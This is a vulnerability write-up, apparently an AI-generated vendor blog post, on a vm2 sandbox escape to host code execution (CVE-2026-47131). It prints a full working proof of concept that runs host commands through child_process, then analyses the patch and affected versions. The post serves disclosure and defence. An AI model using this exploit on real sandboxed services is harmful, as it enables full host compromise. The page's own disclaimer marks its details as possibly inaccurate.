ZeroPath at Black Hat USA 2026

vm2 Sandbox Escape to Host RCE (CVE-2026-47131): Technical Breakdown with PoC and Patch Analysis

A brief summary of CVE-2026-47131, a CVSS 10.0 sandbox escape in the vm2 Node.js library that allows full host remote code execution via prototype chain manipulation. Includes PoC details and patch analysis.

CVE Analysis

12 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-06-12

vm2 Sandbox Escape to Host RCE (CVE-2026-47131): Technical Breakdown with PoC and Patch Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single line of JavaScript inside a vm2 sandbox can now grant an attacker full command execution on the host operating system, and the proof of concept to do it has been public since disclosure day. CVE-2026-47131, carrying a maximum CVSS score of 10.0, is the latest in a sustained wave of critical sandbox escape vulnerabilities in the vm2 Node.js library, and it underscores a fundamental architectural limitation of proxy based JavaScript sandboxing.

vm2 is an open source sandbox library for Node.js with approximately 4,100 GitHub stars and millions of weekly npm downloads. It is widely adopted in online code editors, serverless platforms, and increasingly in AI agent frameworks that execute LLM generated code. The library isolates untrusted JavaScript by intercepting access to Node.js built in modules through JavaScript proxies, all within the same V8 heap and process as the host application.

Technical Information

Root Cause: CWE-913 and the Proxy Boundary Gap

The vulnerability is classified under CWE-913 (Improper Control of Dynamically Managed Code Resources). At its core, vm2's security model relies on JavaScript Proxy objects to intercept and sanitize every interaction between sandboxed code and host realm objects. The set, defineProperty, and setPrototypeOf traps on these proxies are designed to block direct mutation of host objects from within the sandbox.

However, the apply trap provided an alternative path that these write side defenses did not cover. Sandboxed code could obtain a reference to a host realm prototype mutating function (specifically the Object.prototype.__proto__ setter) and invoke it as a function with a host object as this. Because the mutation happened inside the host intrinsic rather than through any proxy trap, the write side defenses never fired.

Exploitation Mechanism: Host Prototype Mutation via Bridged Setter Primitives

The exploit chain proceeds through three distinct stages:

Stage 1: Prototype Getter/Setter Extraction

The attacker uses Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__") and the corresponding __lookupSetter__ call to obtain the getter and setter functions for Buffer.__proto__. These are critical primitives because Buffer is a host built in that vm2 proxies into the sandbox. The __lookupGetter__ and __lookupSetter__ methods return the raw host realm accessor functions rather than sandbox wrapped versions. Because sandbox __lookupSetter__ is connect()ed to the host's, this returns the host Object.prototype.__proto__ accessor pair.

Stage 2: Host TypeError Constructor Leak via Prototype Chain Severance

The attacker triggers await WebAssembly.compileStreaming() with no arguments. This rejects with a host realm NodeError (a TypeError subclass with ERR_INVALID_ARG_TYPE). In the catch block, the attacker severs the host error's prototype chain:

setProto.call(getProto.call(e), null)

This call flows through the apply trap, which sees Function.prototype.call as the target. The apply trap unwraps the proxy to the raw host prototype and forwards the setter call, effectively executing host.NodeError.prototype.__proto__ = null. The write side traps (set, setPrototypeOf) are completely bypassed because the mutation occurs inside the host __proto__ setter intrinsic.

Stage 3: Unwrapped Host Error Leaks Host Function Constructor

A second await WebAssembly.compileStreaming() call produces another host TypeError. This new error has a broken prototype chain (its prototype's [[Prototype]] is null). The bridge's thisEnsureThis function, responsible for ensuring host realm values entering the sandbox are properly wrapped in a proxy, works by walking the prototype chain looking for a registered mapping. With the chain severed, this walk reaches null without finding any mapping, and the value falls through unwrapped, exposing the raw host error object to sandbox code.

From the unwrapped host error, the attacker reads e.constructor.constructor to obtain the host Function constructor. With that in hand:

const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });

This achieves arbitrary command execution with the full privileges of the Node.js host process.

CVSS Vector Breakdown

AttributeValue
Attack VectorNetwork (AV:N)
Attack ComplexityLow (AC:L)
Privileges RequiredNone (PR:N)
User InteractionNone (UI:N)
ScopeChanged (S:C)
Confidentiality ImpactHigh (C:H)
Integrity ImpactHigh (I:H)
Availability ImpactHigh (A:H)
CVSS v3.1 Score10.0 (Critical)

The scope is "Changed" because the vulnerability breaks out of the sandbox boundary and affects the host system beyond the originally authorized scope. The CVSS 10.0 score originates from the GitHub Advisory; as of June 12, 2026, the NVD record is marked "Not Scheduled" and has not been independently enriched.

Proof of Concept

A fully functional proof of concept was published in the Snyk advisory (SNYK-JS-VM2-17111319) and is also embedded in the maintainer's fix commit in docs/ATTACKS.md and the regression test file test/ghsa/GHSA-v6mx-mf47-r5wg/repro.js.

"use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `);

This PoC executes echo pwned on the host system, confirming full sandbox escape to remote code execution. The barrier to weaponization is minimal: any attacker with basic JavaScript knowledge can replace the execSync payload with arbitrary commands.

The attack flow in summary:

  1. Extract host __proto__ getter and setter via Buffer.call.call with __lookupGetter__ and __lookupSetter__.
  2. Trigger a host realm TypeError via WebAssembly.compileStreaming().
  3. Sever the host error's prototype chain using the extracted setter: setProto.call(getProto.call(e), null).
  4. Trigger a second host realm TypeError. The bridge's thisEnsureThis proto walk fails on the broken chain, returning the raw host error unwrapped.
  5. Read e.constructor.constructor to obtain host Function, then execute new HostFunction("return process")() for full RCE.

Patch Information

The vulnerability was patched by maintainer Patrik Simek in commit 27c525f, authored on May 17, 2026, and shipped in vm2 v3.11.4 (released May 18, 2026). The fix is entirely contained in lib/bridge.js and implements a two layer structural defense.

Layer A: Write Side Apply Trap Refusal of Host Prototype Mutators

The root cause was that vm2's proxy set / defineProperty / setPrototypeOf traps blocked direct mutation, but the apply trap provided an alternative path. The fix introduces a dangerousHostProtoMutators identity set (a WeakMap) populated at bridge initialization with every host realm function capable of mutating [[Prototype]]:

  • Object.prototype.__proto__ setter
  • Object.setPrototypeOf
  • Reflect.setPrototypeOf
  • Object.defineProperty / Object.defineProperties
  • Reflect.defineProperty
  • Object.prototype.__defineSetter__ / __defineGetter__

Inside the apply trap, before any argument unwrapping occurs, the patch adds a guard:

if (!isHost) { if (isDangerousHostProtoMutator(object)) throw new VMError(OPNA); // Peel one indirection layer for Function.prototype.call/.apply/.bind if (isApplyIndirectionPrimitive(object)) { let underlying; try { underlying = otherFromThis(context); } catch (e) {} if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA); } // Peel Reflect.apply / Reflect.construct (underlying is args[0]) if (isReflectApplyPrimitive(object)) { if (args && args.length > 0) { let underlying; try { underlying = otherFromThis(args[0]); } catch (e) {} if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA); } } }

This design is notable because the canonical PoC did not call the dangerous setter directly. It used setProto.call(target, null), meaning the apply trap's target was Function.prototype.call with the real dangerous function hiding in context. The patch addresses this by maintaining a second identity set (applyIndirectionPrimitives) containing Function.prototype.{call,apply,bind}, and a third set (reflectApplyPrimitives) containing Reflect.apply and Reflect.construct. When the apply target matches an indirection primitive, the patch "peels" one layer to inspect the underlying function. Deeper recursive indirection (e.g., Function.prototype.call.call.call(...)) collapses at the V8 spec level into the same single peel shape, so depth 1 inspection is sufficient.

The refusal happens before the bridge unwraps context or args, ensuring the host intrinsic is never reached with attacker controlled inputs.

Layer B: Read Side Cache Check Before Proto Walk in thisEnsureThis

As defense in depth, the patch hardens the read side. The thisEnsureThis function previously relied entirely on a prototype chain walk to find registered mappings. If the chain was severed (set to null), the walk failed and the value fell through unwrapped.

The fix adds a cache lookup at the top of the function/object branch:

const ensureCached = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]); if (ensureCached) return ensureCached;

The mappingOtherToThis map tracks every host realm value the bridge has previously wrapped. By checking this cache first, any host value that has ever crossed the bridge returns its existing proxy, completely independently of the prototype chain's current state. Even if an attacker managed to tamper with the chain through some future bypass of Layer A, the cached proxy would still be returned.

The commit also added a comprehensive regression test suite in test/ghsa/GHSA-v6mx-mf47-r5wg/repro.js covering the canonical PoC, deeper proto severance variants, and identity stability of sandbox native errors, and documented the attack as Category 30 in docs/ATTACKS.md.

Affected Systems and Versions

All versions of vm2 prior to 3.11.4 are vulnerable. Specifically:

  • Vulnerable: vm2 versions up to and including 3.11.3
  • Fixed: vm2 version 3.11.4 and later

Any application that uses the VM class from the vm2 npm package to execute untrusted or user supplied JavaScript is affected. This includes but is not limited to online code editors, serverless function runners, AI agent frameworks executing LLM generated code, and any backend service that sandboxes JavaScript input.

The vulnerability requires no special configuration to trigger. The default new VM() instantiation is sufficient, as demonstrated in the PoC.

Vendor Security History

vm2 has an extensive and accelerating history of critical sandbox escape vulnerabilities. The proxy based sandboxing approach has been bypassed repeatedly through different techniques, each requiring a targeted patch that addresses the specific escape vector without resolving the fundamental architectural weakness.

CVE IDDescriptionCVSSFixed Version
CVE-2023-29017Sandbox escape via exception sanitization9.83.9.14
CVE-2023-30547Sandbox escape via exception sanitization9.83.9.17
CVE-2026-22709Promise callback bypass sandbox escape9.83.10.1+
CVE-2026-24781inspect() proxy unwrap sandbox escape10.03.11.0
CVE-2026-26332SuppressedError sandbox escape10.03.11.1
CVE-2026-44006getPrototypeOf injection escape10.03.11.2
CVE-2026-47131Host prototype mutation via bridged setter primitives10.03.11.4

At least 13 sandbox escape CVEs were disclosed against vm2 during 2026 alone. Each patch blocks a specific escape technique (proxy unwrap, async sanitization bypass, prototype pollution, exception handling abuse) without resolving the underlying architectural weakness: sandboxed JavaScript running in the same V8 heap can always find a path to host objects through built in mechanisms like __lookupGetter__, __lookupSetter__, WebAssembly error generation, or prototype chain traversal.

The project maintainer has been responsive in issuing patches, but the pattern of recurring critical escapes raises serious questions about the long term viability of vm2 as a security boundary. Organizations relying on vm2 for isolation should treat it as a convenience layer and implement process level or VM level isolation (gVisor, Firecracker, containers with restricted capabilities) as the actual security boundary.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Jira
  • Linear
  • Slack
  • Security Compass
Security magnifying glass visualization